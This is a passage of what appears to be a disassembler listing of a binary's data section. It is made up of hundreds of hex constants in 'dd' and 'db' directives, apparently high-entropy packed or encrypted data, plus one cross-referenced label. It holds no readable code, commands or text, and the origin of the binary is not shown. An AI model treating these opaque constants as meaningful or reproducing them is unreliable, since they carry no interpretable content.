dd 5C7070Ch, 4E7BBF18h, 8B5EC803h, 0A55E92B5h, 7213F06Eh
dd 0FD2B1389h, 51F6620Ch, 0A53DD70Dh, 7B2FD101h, 5888A7DAh
dd 0BF073539h, 2C577E5h, 0E92DDE01h, 202B0689h, 481247D2h
dd 0C213FAE0h, 2762B0D9h, 0A0F150h, 0C2C98D43h, 0B41F2146h
dd 8ECFF5F0h, 0DC682363h, 0C0F07E39h, 0ADF8E39Ch, 96674CACh
dd 7FFBCB74h, 123A6108h, 9A31AB56h, 5336965Bh, 1B112DF0h
dd 3F0A3302h, 4AB5FF64h, 84B77D1Ch, 0A3B3D480h, 2C4738AEh
dd 67EDF3B1h, 1F1E61CBh, 0A1D46AA4h, 685B0480h, 0D43B0006h
dd 240481ACh, 4A17C8F9h, 74080353h, 338D121Fh, 4BE731C5h
dd 0DBBF12C8h, 404D904Ch, 244C0294h, 28B71337h, 712D311Fh
dd 74348088h, 0CA2986Dh, 0C3D1A800h, 0BB0D6C50h, 0D72E1C09h
dd 0D3575C5Fh, 0E1035190h, 0B9963248h, 39E4E89Dh, 0A40B34A1h
dd 0C88B894Ah, 0F6155C0h, 2D068734h, 1E030ABEh, 0C7D9056Ch
dd 0A709CD85h, 17C3B727h, 25D70469h, 35101622h, 905696A7h
dd 2789C5B4h, 855A7D95h, 6EDE3E5Bh, 0CF2A27C0h, 0F7E4EAFCh
dd 30502107h, 4407110Ch, 0E8C10130h, 0EA6F510h, 894C1F0Dh
dd 82685803h, 366EEBE7h, 6421F036h, 1BB170CFh, 28299A50h
dd 58180621h, 57016813h, 98DC491Bh, 0DA85090Bh, 5EBF03E8h
dd 2953B162h, 2924D5D9h, 0D41FD62Fh, 58D7555h, 5F44B351h
dd 5D64B02Ch, 0D2EC6D03h, 51B50109h, 0F87A1922h, 3305D621h
dd 27455204h, 97E78100h, 14C5551h, 0A78A21B2h, 0C440D74Dh
dd 3D4AE67h, 0ECE8D98Ah, 820B9DD7h, 0C06C7FAh, 9D600460h
dd 0C4762AE4h, 5D9E9805h, 0F4F18924h, 0BB967750h, 0C03309FBh
dd 0FF0F503Ch, 70E5EC36h, 0B9B86182h, 6F18BB25h, 0D71844E1h
dd 26889C08h, 1B46DC25h, 0AE755900h, 3C8108BAh, 24DD824Ch
dd 37ADF67Dh, 34190035h, 0DD8AE2D9h, 0C4868919h, 882BF81Fh
dd 0F1009D66h, 0A40B5632h, 4E6346E4h, 518E327Ah, 4C22240h
dd 0B389A95h, 90DBD295h, 80ED7D16h, 205F5089h, 4600F6A2h
dd 53917331h, 9D988FC5h, 0FDFEF717h, 0F6BC6FE9h, 9D318809h
dd 4E4BFA85h, 332F4986h, 46638609h, 0C76E5E5Bh, 0A7026D3Fh
dd 0C9B3656h, 2611BDC0h, 0FB490391h, 0E00A700Eh, 0B04A9202h
dd 0F56050A0h, 15B784h, 0C830BF66h, 678BBC61h, 90996429h
dd 6E4ABB43h, 50735419h, 0B530C72Eh, 0B240534h, 64251D9Dh
dd 0D1A18153h, 96B6782Eh, 32B84E25h, 48013111h, 0FB472D0Ch
dd 37D9D8DFh, 3791506Bh, 0F0BE89C4h, 23686E8Fh, 6821F92Eh
dd 6A16BB01h, 0CEBE5365h, 9B6B9251h, 9E05C2A5h, 32F92A0h
dd 13AA2CAAh, 0ED21AD5Ch, 1F22E894h, 0C28FF4E5h, 3509B529h
dd 211FB908h, 8A0240A0h, 618C4F95h, 0D40782E1h, 0AE09DA10h
dd 82DC8AD1h, 7D16151Ah, 0E50048BDh, 0D023CB8Dh, 4983027Fh
dd 2179BD89h, 0C6FEC990h, 0D5D8C4B3h, 8E660255h, 0AAB074D9h
dd 7005C51h, 0E773DF7Dh, 1EA52E44h, 0CBDD1B38h, 0BB042370h
dd 52969A56h, 148B82BAh, 0F3BDE900h, 6E3BE3FFh, 6D220272h
dd 0DEC18B86h, 28FADC68h, 0A7EFC701h, 0D514127Bh, 9FFD9A45h
dd 3FE9DD4Ah, 0A181809Ah, 0F8B574FCh, 499A3A73h, 0E2502940h
dd 5BB825B3h, 7827FC63h, 51CAD3B1h, 0BC21819h, 0FA7384BCh
dd 5B234B7Eh, 5255758h, 0F673C01Dh, 7E54F294h, 0D56E0F01h
dd 7480D972h, 0A5918EF6h, 0BB91FE77h, 63072B95h, 0B8D4AD9Dh
dd 0FC608B93h, 0C562EF22h, 0F22014E9h, 0FFED7Ah, 797D1197h
dd 0D643AE5Ch, 0B12AE900h, 39A23F58h, 9D6150D2h, 0B3560252h
dd 310F5B1Ch, 211F89C6h, 51C0CEC9h, 57E85AFBh, 321E9DBh
dd 1BADB204h, 0B40023B8h, 7DFCF83Ah, 4181B509h, 9E3C6111h
dd 72A58952h, 0DB3BF166h, 33C0C0E2h, 16D40E99h, 9CC7E2Ah
dd 3E299DCDh, 916B3577h, 0D7B38118h, 40F2FA8Ah, 8214C942h
dd 6060A956h, 3E7AE080h, 0E5253153h, 8259DE05h, 0B75DD16Ah
dd 5D0D041Bh, 0A27AB8D1h, 0C257CF7Eh, 0AEC17BBFh, 25CD2249h
dd 70A17302h, 0B325C2C4h, 7A5D150h, 901008A3h, 0FD623393h
dd 5C1A1E25h, 0B40160B6h, 65092C10h, 7DFFBF6Dh, 0ABDF8D32h
dd 0F10332AFh, 85680033h, 0DA7E90EDh, 0CAE95B12h, 8A8975E3h
dd 0CFF3A829h, 937BA70h, 9D33BB49h, 66A55256h, 810F244Bh
dd 0C2E449F7h, 65D99100h, 0EB473208h, 0A7DC00CEh, 0FBDD1C1Eh
dd 0AB868B0Fh, 66043EBFh, 60FEDE31h, 0FCD46E61h, 1280BCCh
dd 17EEE3CCh, 270120A9h, 66A64EC4h, 87FEA9A0h, 8E298C04h
dd 99B9761Ah, 253C6C94h, 5B998A4Bh, 48891D9Bh, 0B5ADB473h
dd 0DDE00396h, 0CBF884D7h, 120B6695h, 0EDFF6A5Ah, 568EC01Fh
dd 85016EBFh, 0A10BF953h, 0C87E2951h, 0BD168BB3h, 0AC5734D9h
db 90h
db 6Eh, 0BFh
byte_544547 db 29h ; DATA XREF: ___:off_44721Co
dd 133F000Fh, 0A8DF2CE2h, 4B5CBE4Ah, 0AC945F9Fh, 22699E04h
dd 0A4A7D6B8h, 14692101h, 38827E09h, 70E60205h, 4B6580F5h
dd 9071E483h, 97D84B0Dh, 0B90104DBh, 6CAB8078h, 97EA0DEh
dd 1D5E76Ah, 7197E670h, 1DA40B69h, 1D4866D6h, 0D5D4FF80h
dd 93CB690h, 5F910249h, 856195F4h, 0C1120139h, 3ED87AE1h
dd 0DCF76D90h, 88547B16h, 0D4003ABBh, 0C82B57F0h, 0E1559D23h
dd 0E5D13D9Eh, 67EF5240h, 5E1F6D77h, 0F8535B61h, 77315188h
dd 351B659Dh, 1242BD85h, 2EA2870Fh, 27508029h, 29765C5Ah
dd 91284D2Ch, 17F354Fh, 0E6D27F99h, 47BB5B3h, 0D269D3Ch
dd 0F2382C5Bh, 0E310B912h, 121521F9h, 92D248Dh, 0C1E4FAC5h
dd 1D79F580h, 0DD2BF981h, 1825C56Ah, 0E5224584h, 0FE1543A5h
dd 14854619h, 7C579539h, 66410474h, 2F8177BBh, 0A9A0661h
dd 8041DB05h, 5FB91699h, 85116C1h, 9DBF42FEh, 39751C91h
dd 70AF29F0h, 85B99401h, 0C697A80Eh, 0E4CBE7E6h, 2E0E62FCh
dd 0BDA6F6FBh, 0D01980E1h, 6809A80Dh, 60F4BA02h, 3FC02B7Fh
dd 1ECA8D89h, 0E6D21685h, 0F713E026h, 2C0B075Eh, 0A95B6CD6h
dd 0B569F773h, 3C5089A9h, 1D5FC450h, 6180C89Eh, 0D9ECEACCh
dd 0BC012A05h, 58A8D5CDh, 0E5BF0F1Ch, 0F6BB1AE4h, 4EC64D70h
dd 4FB5B3A9h, 92CE43C3h, 49A45D95h, 4081F361h, 6825D3F8h
dd 0BDE5C6E4h, 13C0EECDh, 239CD78h, 67A3BA6Bh, 4D662107h
dd 1662B124h, 89083201h, 0E22BB69Fh, 57E400B8h, 4F1812F7h
dd 0BF9801CCh, 1C0949D7h, 2B2B2F5Bh, 95336004h, 11DB03Dh
dd 1119851Ah, 51E356EFh, 0DA77AC94h, 0C5DD16DEh, 93A784A9h
dd 0E784B855h, 0F822B076h, 4CF50494h, 0BC31FC8Ch, 0AAC8D624h
dd 996800E5h, 5DE451A5h, 3728F762h, 3102FB7Ch, 3664DE08h
dd 85376049h, 0E1FF8015h, 3F379Dh, 0ED68894Bh, 0FF4BABF5h
dd 0F112F38Ah, 0A14AA703h, 282ECEE8h, 47D4E2D2h, 0C5D82586h
dd 219C18D2h, 0FE158B51h, 0AD3F605Fh, 0C16F4DC1h, 30062CDAh
dd 2D4F118Fh, 9A4A95B6h, 0C69480F3h, 1C4D2DC2h, 0A28E0F6Bh
dd 1440BD94h, 27B8026h, 0B31F8315h, 0D782401Ch, 580907BDh
dd 785093D4h, 24976E85h, 0CD5709EEh, 0B817698Eh, 5753023Bh
dd 0F4EAC41Ch, 5669D45Ch, 905D329Eh, 910FCCC6h, 2160E99Ch
dd 52501E5Dh, 3172E1DAh, 97D94430h, 0BA85AC29h, 3439C090h
dd 0A3D3A138h, 5232D82h, 0FF9488E8h, 501F0338h, 0FA8B11ABh
dd 1AA2005h, 4612023Ch, 0C38C820Fh, 0F2D5D68Bh, 4D61018Ch
dd 958AE8F7h, 1C4B63D4h, 98B78D8h, 3FCA5F52h, 3F006751h
dd 36A33BEEh, 2069048Eh, 0A9585FC1h, 1FE6B8FFh, 416FA537h
dd 0CB8032D9h, 78302AA8h, 1246E781h, 0E316CD28h, 0C0004887h
dd 5A0B5CC4h, 0C8F618h, 894D8B8Eh, 736DD12Ah, 45480D02h
dd 5597E924h, 0DB2E22E4h, 0F3264529h, 935666A5h, 0BD17787Eh
dd 125D485Ch, 4FE3C4DEh, 0C5BF127Ah, 7936E13Bh, 1ACEC15h
dd 9A78AAB1h, 60B470EFh, 2841E9BCh, 35001933h, 55E58D87h
dd 0C64BD6F6h, 0BC183F8h, 220B99Dh, 69565C5Bh, 26BD8F4h
dd 0D115D3Dh, 39C303Ch, 290B548Ah, 3BD64BA1h, 9E7B32D4h
dd 3FEDDC0h, 2B044687h, 0C4D34596h, 10E511Eh, 8C1ABF50h
dd 367809DDh, 8997B71Dh, 897FB59Dh, 0B61B58CFh, 6B7CF6D3h
dd 0D2703D06h, 2E84EC1h, 72D968F9h, 0C5CA223h, 0FB912602h
dd 70A57B5Dh, 1902A4EEh, 0F380C86Fh, 6D295CB3h, 0E926AEEh
dd 857190h, 106ED0ECh, 0DA16B6C6h, 0EE25094h, 0BC09643Eh
dd 0C7D089F2h, 9DAC5D90h, 0DC9696h, 0B393D0E7h, 98C8A130h
dd 12616148h, 6E74A34h, 0DCFF71B4h, 27E901A8h, 3207382Eh
dd 18F6C19Ch, 132CE919h, 0B50830Fh, 5448C06h, 33C909BBh
dd 0B712C7Bh, 2E4D27D7h, 0A0B7F4C0h, 0E3623F91h, 0FDE6CDA7h
dd 0A5953108h, 987242Dh, 2F7118B9h, 5F044BC2h, 3F00D6BDh
dd 603236AFh, 81DD008Ah, 4BA73AD7h, 0FDA56102h, 4F041589h
dd 0BCE340F5h, 0BD2533D7h, 0B9E8781h, 5309B967h, 3A63AD93h
dd 5D5CBBD2h, 5DEB368h, 0A0680680h, 0F482FF18h, 690C5CF5h
dd 34DF3887h, 25AEE38Fh, 0BE5FC6D9h, 4504DC39h, 21B31208h
dd 29EDA781h, 0CA509601h, 2B39A1E1h, 7189D05Dh, 68685928h
dd 0A1007E77h, 95741C27h, 980B6797h, 85E90510h, 84719D89h
dd 9998AD28h, 0A22AC19Ch, 5A8C420Ah, 0F1E4BDB6h, 0A96CAF65h
dd 0BD995AB1h, 601211BDh, 9E2A94E1h, 0D1B3C05Bh, 62E9134h
dd 0EFCDFE2Fh, 5D7BFA51h, 2F385F81h, 1A7F89C9h, 9CC99045h
dd 0D7A10999h, 0BF700178h, 0E8EF811Eh, 0C24BA53Ah, 123757B3h
dd 805CCB01h, 203F4291h, 62D6CAF9h, 447DE3F2h, 24C61E00h
dd 872C4A86h, 0DB18971Ah, 2611DF80h, 0D3000BE9h, 0F75E8B01h
dd 963A9EC3h, 0CA8F2576h, 58BD5FCBh, 0E8292E00h, 90F98F5Ch
dd 806BB198h, 5B7F58F1h, 543F737Eh, 458EB86Fh, 0F46E50EFh
dd 810642EDh, 9D2355B7h, 757E18D9h, 802CBC3Fh, 0CA7BBF89h
dd 7EB8035Dh, 9C6FAD32h, 889F4896h, 0D3A47E3Ah, 0B43B5900h
dd 4108712h, 0DF8B81B9h, 0FEE8A45Bh, 0E605080h, 0D5120CBAh
dd 0F0E276h, 0DC7CE203h, 625C8Dh, 94344EC0h, 61706551h
dd 0F209963Eh, 4B652256h, 821D7CF0h, 64DE5C0h, 0B7F23A97h
dd 0E6985AAh, 0BE22C364h, 0A712BCA4h, 75C1A778h, 0BA500310h
dd 75C7EADAh, 0E916DD37h, 23D701EAh, 580CADBDh, 9D263178h
dd 6AA5CCE1h, 0F4BDFFFDh, 7400FD3Dh, 0B460853Dh, 24D941BFh
dd 88D35AA1h, 5B140739h, 8535C0D4h, 0F65E28h, 201DC5C9h
dd 0AE793F75h, 2554B652h, 951EEEFCh, 6241194Dh, 0AAD98B38h
dd 0E72FC341h, 571C282Fh, 848BB28Bh, 0FDB4E81Fh, 49160069h
dd 2E90FD54h, 0FF00C738h, 0FC0EF1C1h, 25D37EBBh, 15E65BF9h
dd 79B740BFh, 53608233h, 0C67061F2h, 786D5B95h, 9204254Ah
dd 599D035Dh, 0CB4A41E8h, 256E4EE9h, 0FE0BA000h, 814F6371h
dd 4B79E301h, 6FE91D5Fh, 0E205162Fh, 0DEB10089h, 36200853h
dd 778027Dh, 1680AB68h, 17D5F782h, 886B0E2Dh, 0B7BFC13Dh
dd 53580B8Bh, 0B85BEA24h, 0D3E0D7FDh, 0BB908032h, 395E4809h
dd 20855033h, 0F84B310Fh, 2594DECh, 0BD05F2BCh, 29B52A75h
dd 344B13FAh, 0E383AE84h, 0F4ED4A02h, 2541758Eh, 8708AA87h
dd 8157F4FEh, 7C76D83Ch, 0DE052514h, 502B336Eh, 0E1E31E12h
dd 4BB7C3A0h, 0BD91172Dh, 0C5C70EA0h, 0D6F9F3A3h, 78253BBCh
dd 0B557CEFCh, 3C0077B5h, 1A681030h, 0C95607C0h, 198D7865h
dd 9C3FD5h, 7A1299DFh, 0E528690Dh, 7120B589h, 0D1FF2516h
dd 2BA9CA90h, 0C4E6ED12h, 0A8885EE2h, 0B19467Eh, 0F8BE79h
dd 0DDBB54DBh, 3E2E2FB7h, 42E0CAE0h, 0FF026A26h, 0F6B112DEh
dd 2EA2A80Ah, 920FE790h, 69BBA026h, 0F728EE5Fh, 80AADB6Eh
dd 39522606h, 9C540B22h, 562BCD42h, 95D8C0DBh, 0E7F6C2C4h
dd 0AB5450F1h, 88E31C12h, 0FED00B93h, 1F458DF8h, 0AD4989D9h
dd 3F22202Fh, 0D1952423h, 0EA070031h, 0BE1BD6D5h, 501FAA07h
dd 98BB3708h, 7444882h, 0B6BA3464h, 2E5AC166h, 98352E22h
dd 0B220A1F1h, 50104015h, 81057EC8h, 0CA5CECBFh, 2BAB2571h
dd 6EFF4B64h, 41B82DC1h, 0B73E1561h, 6DDB4A6Ah, 80CF1888h
dd 21109FD3h, 2BFF09BBh, 76731222h, 0C7A0D83Dh, 2463290Ch
dd 0C1E6F84Eh, 7CBAFE1Ah, 0B1A740CFh, 0BFA71662h, 0C41F5CDFh
dd 5DE25615h, 0B516ED00h
dd 8D7E4D3Eh, 2FC3D600h, 0ADCB777Dh, 38B3712Eh, 8009B055h
dd 2D700EDBh, 0E904BF71h, 0DE8B71E4h, 0E7302BB9h, 159D2353h
dd 0B6852662h, 0E9D685C8h, 9C7B89F1h, 0C18817A3h, 0CEF0481h
dd 0B858F5CEh, 80E15C11h, 0F97E21B0h, 83404BC8h, 81B52B16h
dd 89276188h, 78AD143h, 720A1A5Bh, 53972160h, 0C87007B3h
dd 7074B201h, 0D3AB09FEh, 0BF051471h, 1E9412C6h, 53EBE484h
dd 0D4F1CD00h, 344BBDB5h, 44E90E88h, 0D801DD08h, 1C5E4E4Ah
dd 20A7311Dh, 0B9DEE984h, 86212205h, 727A00E3h, 0B9329278h
dd 0CE039973h, 0A1A659E2h, 916E5FE6h, 853BE979h, 10D78033h
dd 0F82A32BBh, 0B80FCB84h, 0A725880Fh, 0A73F48D8h, 18A528F4h
dd 139DFE58h, 5F9416C9h, 23517607h, 250B45D3h, 12CC5F0Eh
dd 181AED20h, 19018A0Fh, 0D3956AF8h, 0B2887809h, 0E8CF54Bh
dd 0BFB373B9h, 0FCE19998h, 0F0BD36E3h, 9559774Bh, 0BD2B9310h
dd 28146949h, 1500BBAh, 54823080h, 76827ADFh, 9556E676h
dd 522FCE48h, 20604B2Dh, 32486475h, 0CEF08700h, 39130CDBh
dd 80C33881h, 0B2A8C492h, 30A75B83h, 9EFB22A7h, 3A958558h
dd 52AD5B9Fh, 0A6FAE875h, 0C5DA16C1h, 1D4AE660h, 59E58D9Dh
dd 56537AB4h, 0AA7670h, 8157CA07h, 0AB8E97DBh, 655B1A25h
dd 0DE8516A2h, 71E8C95Dh, 0A04E000Ch, 990F338Eh, 0A4FA509Fh
dd 0A96D9715h, 0EB9273E1h, 1F34822Eh, 0D6CD5409h, 0E4001C46h
dd 0F657DD60h, 0C45826A0h, 84E12763h, 38AB0FFAh, 158B1186h
dd 1331D18Ah, 19110188h, 5268BF02h, 0FD8461A7h, 0D95308Ch
dd 8531802Eh, 2512554Dh, 3C926561h, 0DC72D768h, 0E21B5A01h
dd 0E31A9DA4h, 126660FCh, 0B190C6BBh, 0CF64208Eh, 62094725h
dd 7095D357h, 3D122055h, 5AB4F899h, 0B6017011h, 0AE05DE10h
dd 8E6A9FCDh, 0C24BD9F3h, 54091F7Ch, 8E8ED632h, 7B39BD00h
dd 0B2D496FCh, 842E5BE9h, 0E91AA118h, 9D011054h, 3F6BE925h
dd 3162353h, 0FEB4399h, 9FC515FAh, 7ADA7400h, 5C9FB605h
dd 200F9DDh, 0AA5AED17h, 680165D3h, 12F69472h, 802AD98Bh
dd 0E9978DFDh, 769B2EF3h, 0E09A5B80h, 2A058202h, 0A4C0589Ch
dd 0BC1A8F8h, 217C5BDh, 5D818260h, 8E0F0228h, 57B6616Ch
dd 0E1CC6197h, 890E25B3h, 0E0BE134Ch, 199E985h, 95FE4588h
dd 2BFC6299h, 5C34134h, 8D534AA5h, 62FB2043h, 43C12212h
dd 892C06B3h, 0D0A19DDh, 7B406106h, 0C624DC55h, 0BE19C58Dh
dd 0DE7A24E0h, 74B44190h, 260D709h, 7D066DE5h, 0B300646Ch
dd 0E1663E2Ch, 76B48Fh, 0EEF36281h, 63E2A867h, 58E3E8F3h
dd 393B6148h, 50961C6Fh, 0BFA5B65h, 8DC05FD8h, 969522D9h
dd 0D4CC941Ch, 72FE9A02h, 0E626F834h, 498D00B6h, 38F06F1h
dd 680466E8h, 22A29097h, 3F57F9E1h, 0D5BD93B3h, 5E097B6h
dd 7C1C1CAFh, 4E406FF6h, 0DE8BD98Ah, 0CF855E8Dh, 0C016C859h
dd 90481F52h, 0AFD29097h, 0E86300BCh, 0FD5ADEC6h, 504BAA46h
dd 384470C8h, 10097E16h, 0B002EF98h, 0B757905Fh, 0A63200F2h
dd 58525FB4h, 5820605Eh, 2FC590DAh, 2B5AA1EEh, 6A0766FCh
dd 89A0BD7Fh, 120563Fh, 4AF98D09h, 49FA720h, 61FBBF0Fh
dd 2AB954F9h, 0C85E9E8Bh, 8402F97Bh, 0E44508DEh, 758F42C1h
dd 9D5189A9h, 0AF905D69h, 0FE008419h, 6542C434h, 1DE8A23h
dd 7E18BB76h, 0DAB3C892h, 5359E9FEh, 0BB66203Eh, 98918B93h
dd 887B3587h, 8197790h, 61A400B6h, 0EDB43C13h, 0FFA08A89h
dd 0E9F68194h, 0A7B4A4Eh, 70F6102h, 446A9159h, 0A1BD6677h
dd 9FEB5E6h, 2DD7B351h, 945EF490h, 9AB44301h, 7684D123h
dd 0E93101CDh, 3F098EA5h, 0BF82F3B7h, 82EC0D4Fh, 618D2DDBh
dd 8F2A25D0h, 45F13EDh, 0B8E8F3B9h, 0E41C7700h, 0ECBF667Eh
dd 0BD659534h, 0FBE70493h, 0B0DB52A0h, 82051180h, 2F695960h
dd 8BE2E8BCh, 69B656DFh, 9823A79h, 562F7185h, 0DEF6E912h
dd 96D91060h, 9AA802CFh, 67702BFh, 0EDEBA256h, 0B7D941FEh
dd 60176093h, 8B7BB107h, 818061CFh, 5CE08FD3h, 9D0961B2h
dd 0A05B2ED1h, 0B41C1A79h, 210B7074h, 260C70Fh, 51E29AAh
dd 2C93C231h, 0B71EAD0Ah, 13A666E5h, 0D2399D33h, 62DE8F5Ah
dd 0FE445449h, 52E8AF00h, 0B53D64BBh, 0E9F29593h, 61AB9E16h
dd 0B4A39E12h, 0ABC48925h, 819E1895h, 0AE9809F3h, 24C65B28h
dd 9E78059Bh, 0EB570138h, 800F7ABEh, 70EB140Ah, 0B78CBCB6h
dd 9AC50E4Ah, 25B8E8EDh, 31BD1600h, 0B7515698h, 0B88995F7h
dd 5AA5CEB7h, 0C5D73E3Fh, 128E47A6h, 5AAAB3FBh, 9515B9F0h
dd 0F84F686Eh, 6FA065E7h, 0EE4A16B4h, 4E715DE7h, 0E82CA91Ch
dd 6F5D00ABh, 544538CCh, 9D100929h, 0CD5F242Dh, 46A3AFEh
dd 307FEE16h, 9B01435Ah, 2116710Eh, 0B70AA024h, 131CEE6h
dd 0C38FC64Bh, 498CEE36h, 80807C6Fh, 626E7288h, 25D3016Ah
dd 55D63781h, 0F7C9F099h, 8A354404h, 97AC5FFAh, 0F0F6B693h
dd 955EF171h, 74459394h, 99005963h, 0F7805257h, 92018945h
dd 0C5CA93B9h, 6E60C690h, 0B710BD60h, 0E2B8BED7h, 0C8321B00h
dd 6F5B7E73h, 52502A3Ah, 9B610073h, 0FFBBAB91h, 0E139F855h
dd 0ECA80169h, 60267497h, 0B3A6047Bh, 57D4FE8Ah, 0B79BD012h
dd 0F0FBF782h, 1C29047Dh, 7E14C017h, 85995B24h, 8ABE3549h
dd 209D5367h, 0DF803C1Bh, 572AD2D5h, 0E067F6F7h, 1722237h
dd 14D3630h, 3317B9B5h, 0FAA996DFh, 9B054AA8h, 9D034320h
dd 9556D7C6h, 6B600099h, 8529D407h, 0FB29F799h, 4D46E751h
dd 6E438D57h, 0DFB23A42h, 5369E856h, 331AD8DDh, 3025B02h
dd 3C18B1BDh, 12D44BBCh, 0B1EEE978h, 339B3FD2h, 0CAE9B680h
dd 0A54CE073h, 69F904F9h, 0E8A9C18Bh, 0DC0114B8h, 0F1853425h
dd 0DA6AA50Ah, 0C118C8C0h, 61F032F3h, 359041EEh, 0D8A064CBh
dd 29094A76h, 24323195h, 8CAA5006h, 6A95562Fh, 0EF37FDE4h
dd 5AC6E709h, 23D715C3h, 0A31807F9h, 95F5DCF2h, 0C407FE25h
dd 52789790h, 0C89CBA07h, 0E670F08Dh, 90EE7AFDh, 0DC92F5Ch
dd 5561AC4h, 6CADF0DAh, 0EB01258h, 0B1D5A14Dh, 26B562E9h
dd 40EB8000h, 1D8B60CFh, 0DE037625h, 0B55AA616h, 223130F8h
dd 2AECC75Bh, 1AC880DAh, 3C8B8FC0h, 56A51D4Ch, 559D84A4h
dd 8270AB26h, 93D1FFF5h, 3AB97847h, 49398B00h, 89E6A9E5h
dd 0E5D2F9Dh, 1F117EA2h, 45295909h, 0ECAFE96Ch, 45BF3F53h
dd 2B0A5703h, 0F7B06054h, 0EE48FF8Dh, 6DB9005Fh, 26A61A6h
dd 0BB9000F9h, 158FB896h, 0F379B350h, 7DC0FBEh, 0B27FC3Ah
dd 0ED0F84BDh, 28B7C4CAh, 0C178F182h, 392BB5A5h, 6932A8EDh
dd 0C467CD97h, 0AB84AF9Dh, 0DA8BB245h, 0D4B8AFF9h, 7AC04E03h
dd 8F49B5D3h, 9D0071A9h, 44CDD629h, 888A500Bh, 0BD5B0180h
dd 8A4A90A9h, 12A94AFAh, 139020A8h, 5907CD25h, 0C8D64961h
dd 77D7F20Bh, 1492D835h, 6ACDE860h, 753795FFh, 0E112D605h
dd 3391BF81h, 81FDDE6Ah, 0C4542A8Ah, 1817622Eh, 0C1B58920h
dd 0C64B508h, 2CCB8109h, 11087095h, 1609C7BBh, 0DF52F59Dh
dd 2AE20CB5h, 0EF28163Fh, 70F9A309h, 5E50970Dh, 414C2347h
dd 0C5176748h, 9249B818h, 301E07F2h, 2F6149F4h, 0A4320671h
dd 8B82A2E9h, 0F349D0D1h, 15CD0778h, 6FEF31DBh, 20EA6AD5h
dd 0A84A3A99h, 55F58F00h, 0EDE02B06h, 5284003Dh, 0CE2F7EDFh
dd 948E5D8h, 40094F46h, 4A06705Fh, 2531F851h, 0BD095925h
dd 17D59D08h, 305927C4h
dd 3E4E3885h, 68A9460h, 1D14880Dh, 91499729h, 2350E961h
dd 0D0EF0B3Fh, 557B6228h, 801297C6h, 83C2B9F7h, 1EB15524h
dd 221E1630h, 0A5502B41h, 419DFE1Eh, 742E3307h, 539F1F80h
dd 219E240Ch, 0DDBD339Fh, 6C0CA531h, 24D3201Ah, 9F6BC94h
dd 5595C29Eh, 44AF1571h, 66BF3D50h, 0BED0E00h, 8F5ED315h
dd 0C7544B03h, 0F0CD591Bh, 2FB9B1AFh, 0F6BD0804h, 4BB56501h
dd 0F894F09Ah, 0FCC9AAB9h, 0A7C0A24Dh, 27BE3BBBh, 8AD9F44Ah
dd 7DC86C00h, 0CA8D2Ah, 718B72BFh, 3FF26266h, 0A705DC75h
dd 0FC9FB338h, 0DB8C4E9h, 97259102h, 0D72ED2F7h, 12807985h
dd 4B95E9ECh, 86BD9557h, 0B902B4BCh, 4C65E55Dh, 49B45C9Ch
dd 8BE2AE59h, 0EF81EDFBh, 0D64287A0h, 129767AAh, 8F8C71CDh
dd 37120F56h, 2B99D2AAh, 5F2194D5h, 0AC01C423h, 4A89BD73h
dd 0BD5D0109h, 56F2274Ch, 195D0F90h, 77CA4A41h, 195B6C25h
dd 4BA0ABD8h, 21E182C5h, 9229EEB9h, 53E2086Ch, 1C6BD3h
dd 4EAC0232h, 41758D89h, 5B4662Dh, 8E0FE1FFh, 0B3482BA3h
dd 225ECA4Ah, 25E49057h, 5EC732A9h, 0AADE5F16h, 0F694E3C1h
dd 2A7F2053h, 14975BE2h, 59F84369h, 0ADAC5Dh, 0EA49F4AFh
dd 2E8A1347h, 5810F13h, 0FA54DC61h, 37D5FB02h, 4D4E81F9h
dd 2B29B68Eh, 0D8AF4284h, 0F23CA74Fh, 0C282A5B2h, 190486A2h
dd 910CC4E5h, 65AB08h, 0BD8072DAh, 885F6A46h, 0AB2DC6E4h
dd 491A5489h, 0C862B25Ah, 56F98B33h, 3F826970h, 945C2C45h
dd 40D118ECh, 60005025h, 0F5BFEFB6h, 0B5417BD9h, 748810F2h
dd 0F618DE0Ah, 9C4F449h, 0C0C15F9Dh, 4BF268AFh, 0BBDCCB1Eh
dd 2C9C0585h, 0D0535FCh, 0BE2353B8h, 6A0B906Fh, 9302158Eh
dd 8001223Dh, 882C29F3h, 0C196DE5Bh, 8E86093h, 0D2913010h
dd 73A4F80Fh, 79A3779Ah, 0C50592Fh, 382F6922h, 8DCB61F7h
dd 93B44369h, 3830E991h, 9BB3A89h, 710CFF80h, 27BAA069h
dd 0FEF92639h, 0D4DBFC69h, 0C07F6E2Fh, 97EEAE00h, 377B8A12h
dd 0B6ACC78h, 0EBA4F09Dh, 8160095Eh, 25373ECBh, 0B1CA1FE0h
dd 403F4FD5h, 374640CCh, 1652850Bh, 0C4E78E8Ch, 13562C21h
dd 0D820AB83h, 1C05FB2h, 0E78AC2A5h, 0E84655B5h, 0E3273EF3h
dd 4AE1D820h, 4BE5A75Bh, 0CC81829Ah, 0EC2278A2h, 914DEE7h
dd 78ADFE4Bh, 47A66212h, 0D5360DF1h, 9A077AF0h, 0AA0AF409h
dd 0F85FE4A3h, 0AF67007Bh, 30F16BEEh, 0CFFC58BFh, 2CE29948h
dd 0B11AA5Bh, 0B781603Bh, 459D33CAh, 84C23C0Dh, 0F353068Bh
dd 98135A94h, 5500C3A2h, 0E659A29Fh, 0EA257D08h, 7D1AE2B3h
dd 0E88069BDh, 9F7580E0h, 63650982h, 49769EA3h, 0C931D70Ah
dd 68A93318h, 6FDF70A4h, 4E531EE1h, 1E445B0Fh, 0C0ECF81Fh
dd 33F63807h, 27E72F7h, 34BDABE3h, 46F56A9Dh, 240158FEh
dd 0B85F0234h, 6FAF9215h, 88010091h, 8BB19B41h, 445598D8h
dd 344A0709h, 204A14F6h, 0A84EEC72h, 89B51313h, 764C7DADh
dd 0C5A61A16h, 0AB6BAB9Fh, 823B1923h, 0E842992h, 0B1FBC0D9h
dd 0E6F7D311h, 0CEB4E001h, 8BB14B57h, 3BBB0FE6h, 65257ED1h
dd 0E72416AFh, 7B007036h, 0BDB95495h, 0FD288Ah, 0F24D6A1Ch
dd 0A6AC3A10h, 0DE111E77h, 0F15A21E9h, 0A43B2BE3h, 722109E2h
dd 77F46C02h, 66D113D5h, 40F2A8C2h, 5925B5FCh, 117CC723h
dd 0C5F14B86h, 7634AC0Bh, 0CD6EEE21h, 634AF05Eh, 23098872h
dd 0FC07C9BDh, 2AE158A4h, 27452084h, 854A9095h, 5F5D00DBh
dd 413953C5h, 0C44A165Ah, 5C30C6CDh, 2B0A45F1h, 73045625h
